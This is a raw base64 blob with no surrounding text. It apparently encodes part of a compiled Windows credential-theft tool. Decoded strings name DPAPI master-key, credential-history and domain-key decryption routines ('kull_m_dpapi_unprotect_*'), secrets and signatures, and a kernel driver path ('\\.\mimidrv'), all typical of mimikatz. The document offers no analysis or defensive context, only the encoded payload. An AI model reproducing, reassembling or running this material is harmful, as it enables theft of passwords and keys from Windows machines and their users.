QABAASCCVcCAAIABIIJVwMAAwAEgglXBAAEAASCCVcFAAUABIIJVwYABgAEgglXFtMAEf/WxoDCAAAAAgATAAw/zZbEgCe/7cIAAAAABAnAAAWAxwAS1xGXBgAGAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAEAGAAYABIIJVxbTADH/1saAwgAAAAIAEwAsP82WxIAzv8RAAIAKwkpAAQAAQACABgAAwABAAAAEAACAAAALgADAAAANgD//xoDDAAAAAgANkwAE/RbEQD68BoDFAAAAAgANkwAE/RbEgDw/xoDFAAAAAAATADk/1xbGgMYAAAACABMANb/NlsSAFj5EQACACsJKVQMAAEAAgBAAAMAAQAAABAAAgAAAEoAAwAAAMQB//8aA0AAAAAAAEwAFPBMAHzwCAgICAY+XFu3CAAAAAAQJwAAFQMsAEwA9u9MAF7wXFsbAywAGQAYAAEATADm/1xbGgMgAAAAEAA2CAgICAY+TADH/zZcWxIASPASANT/twgAAAAAECcAACsJGQAEAAEAAgAMAAEAAQAAACAB//8rCRkABAABAAIALAAHAAEAAABOAAIAAABcAAMAAADgAAQAAADqAAUAAADkAAYAAADeAAcAAADYAP//GgMgAAAAAAAICAgGPggITACN8lsaAyQAAAAIADZMAOH/WxIA8P8aAywAAAAKADYITADi/1xbEgCw7xYDFABLXEZcEAAQABIAoO9bCAgIBj4IWxUBBAACAgZbHAECABdVAgABABdVAAABAAVbFgMIAEtcRlwEAAQAEgDg/1sGBghcWxYDCABLXEZcAAAAABIA8v9GXAQABAASANL/WwgIWxoDIAAAABIANkwAp/8GBgYGNjYIAj9cWxIALu8SAMT/EgDe/xoDLAAAAAAACAgITADP/1saAxAAAAAAAAgICAY+WxYDDABLXEZcCAAIABIA1v5bCAgIXFsbAywAGQAMAAEATABm/lxbGgMUAAAADAA2CDZMAJH+NlxbEgDM7hIAkP4SANT/EQACACsJKQAEAAEAAgAIAAEAAQAAAAQA//8VAwgACAhcWxEAAgArCSkABAABAAIAKAACAAEAAAAKAAIAAAAcAP//FgMYAEtcRlwEAAQAEgglXFsICEwA6e1bFgMoAEtcRlwEAAQAEgglXEZcHAAcABIIJVxGXCAAIAASCCVcWwgITAC97QgICAhbEQQCACsJKVQMAAEAAgAEAA8AAAAAAFgAAQAAAOwAAgAAAPQAAwAAADwBBAAAADYBBQAAAH4BBgAAAMgBBwAAAEACCAAAAGYCCQAAAJ4CCgAAAN4C+v///zID+////3QD/P///3ID/v///wQA//8SAGQAFgeAAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXFsICAgICAhMAA3tTAAJ7UwABe1MAAHtCwtMANX+TADR/ggIWxsHgAAJAPj/AQBMAKL/XFsYBwgA7P9LXEhJgAAIAAQACAAIABIIJVwMAAwAEgglXBAAEAASCCVcFAAUABIIJVxbCAhbEgACABcHCAAU7ggIXFsSADAAFgcwAEtcRlwAAAAAEgglXFsICEwAYf5MAIPsCwtbGwcwAAkA+P8BAEwA1v9cWxgHCADs/0tcSEkwAAgAAQAIAAgAEgglXFsICFsSADAAFgMkAEtcRlwAAAAAEgglXFsITAA67EwAEP4ICFxbGwMkAAkA+P8BAEwA1v9cWxgDCADs/0tcSEkkAAgAAQAIAAgAEgglXFsICFsSAEAAGgNEAAAAFgBMAND9CAgNCDY2NkwA6+tMAOfrWxIIJVwSCCVcEgglXCEDAAAJAPz/AQD/////AABMAMb/XFsaAwwA5v8AAEwAkv0IWxIAUAAWB1AAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcDAAMABQAUPVbCAgICEwAX/1MAFv9CEwAVv1MAHjrQAsLWxsHUAAJAPj/AQBMALb/XFsYBwgA7P9LXEhJUAAIAAMACAAIABIIJVwMAAwAEgglXBQAFAAUAP70WwgIWxIAIAAVByAATAAs6wtMAAH9WxsHIAAJAPj/AQBMAOb/XFsXBwgA7P8ICFxbEgAwABoHKAAAAA4ATAD86gtMANH8NkBbEgglXCEHAAAJAPj/AQD/////AABMANb/XFsaBwgA5v8AAAgIXFsSADgAGgc4AAAAEgA2CEwAlvxMALjqCws2QFxbEgglXBIIJVwhBwAACQD4/wEA/////wAATADO/1xbGgcIAOb/AAAICFxbEgBMABoHWAAAAB4ANjYINkwATvxMAEr8CEwARfxMAGfqQAsLNkBcWxIIJVwSCCVcFAAW9BIIJVwhBwAACQD4/wEA/////wAATAC6/1xbGgcIAOb/AAAICFxbEgA4ALcIAAAAAAABAAAaBygAAAAMADYICAgICAsIQFsSCCVcIQcAAAkA+P8BAP////8AAEwA2P9cWxoHCADm/wAATADA/whbEgBg6xIALAC3CAAAAAAQJwAAFQcwAAsICEwAyekLCAhcWxsHMAAJAPj/AQBMAOT/XFsaBwgA7P8AAEwAzP8IWxEAAgArCSkABAABAAIAMAABAAEAAABGAP//twgAAAAAAAEAALcIAAAAAAABAAC3CAAAAAAAAQAAGwECABkAEAABAAVbGwECABkAGAABAAVbGwECABkAIAABAAVbGgMwAAAAGAAINjY2TACw/zZMALX/NkwAuv82NjZbEgglXBIIJVwUCCVcEgCw/xIAuP8SAMD/EgglXBIIJVwRBAIAKwkpVAwAAQACAAQAAQABAAAApPT//xEAAgArCSkABAABAAIACAABAAEAAAAkAP//twgBAAAAECcAACEDAAAZAAAAAQD/////AABMALjwXFsaAwgAAAAIAEwA1v82WxIA2v8RBAIAKwkpVAwAAQACAAgAAQABAAAAJAD//7cIAAAAABAnAAAhAwAAGQAAAAEA/////wAATADi8FxbGgMIAAAACABMANb/NlsSANr/EQACACsJKQAEAAEAAgAYAAEAAQAAAAQA//8WAxgAS1xGXAAAAAARALLoWwhMACroCFsRAAIAKwkpAAQAAQACACwAAQABAAAACgD//x0AEAACWxYDLABLXEZcFAAUABIAeuhGXBgAGAASAGzpW0wA6ecICAhMANb/XFsRBAIAKwkpVAwAAQACAAwAAQABAAAAHgD//7cIAAAAAAAAoAAbAxAAGQAEAAEATACu51xbGgMMAAAACgAITADb/zZcWxIA3v8RAAIAKwkpAAQAAQACABAAAQABAAAALgD//7cIAQAAABAnAAAbAwQAGQAEAAEAS1xISQQAAAABAAAAAAASCCVcWwhcWxoDEAAAAAoANkwAy/82CFsSCCVcEgDK/xEEAgArCSlUDAABAAIADAABAAEAAAAeAP//twgAAAAAECcAABsDCAAZAAAAAQBMAOT4XFsaAwwAAAAKAEwA3P82CFxbEgDe/xEAAgArCSkABAABAAIABAABAAEAAACM8v//EQQCACsJKVQMAAEAAgAEAAEAAQAAAH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UAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFAAAAAABDAE4ARwAgAEsAZQB5AAAAPwAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAdgBlAHIAaQBmAHkAXwBwAHIAbwB0AGUAYwB0AGkAbwBuAAAAbgBvAF8AcgBlAGMAbwB2AGUAcgB5AAAAYQB1AGQAaQB0AAAAYwByAGUAZABfAHMAeQBuAGMAAABsAG8AYwBhAGwAXwBtAGEAYwBoAGkAbgBlAAAAdQBuAGsAbgBvAHcAbgAAAHUAaQBfAGYAbwByAGIAaQBkAGQAZQBuAAAAAAByAGUAcQB1AGkAcgBlAF8AcwB0AHIAbwBuAGcAAAAAAHMAdAByAG8AbgBnAAAAAAByAGUAcwBlAHIAdgBlAGQAAAAAAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAG8AbgBfAHUAbgBwAHIAbwB0AGUAYwB0AAAAAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARABlAHMAYwByAGkAcAB0AGkAbwBuAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwB6AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBDAHIAeQBwAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAYQBsAHQATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwAyAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawAyAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAYQB0AGEATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBEAGEAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAZwBuAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIAUwBpAGcAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACgAKAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAcABiAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEkATgBGAE8AKgAqAAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEQATwBNAEEASQBOAEsARQBZACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBTAGUAYwByAGUAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGQAdwBBAGMAYwBlAHMAcwBjAGgAZQBjAGsATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAUwBlAGMAcgBlAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABiAEEAYwBjAGUAcwBzAGMAaABlAGMAawAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZAFMAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAcwB6AEcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAewAlAC4AMwA2AHMAfQAKAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAIAA7ACAAAABzeXN0ZW0AAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAQgBhAHMAZQA2ADQAIABvAGYAIABmAGkAbABlACAAOgAgACUAcwAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQBjAAAAAAA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsAF8AaABhAG4AZABsAGUAIAA7ACAARABlAHYAaQBjAGUASQBvAEMAbwBuAHQAcgBvAGwAIAAoADAAeAAlADAAOAB4ACkAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAXABcAC4AXABtAGkAbQBpAGQAcgB2AAAAJQAqAHMAKgAqAEsARQBZACAAKABjAGEAcABpACkAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFUAbgBpAHEAdQBlAE4AYQBtAGUATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAA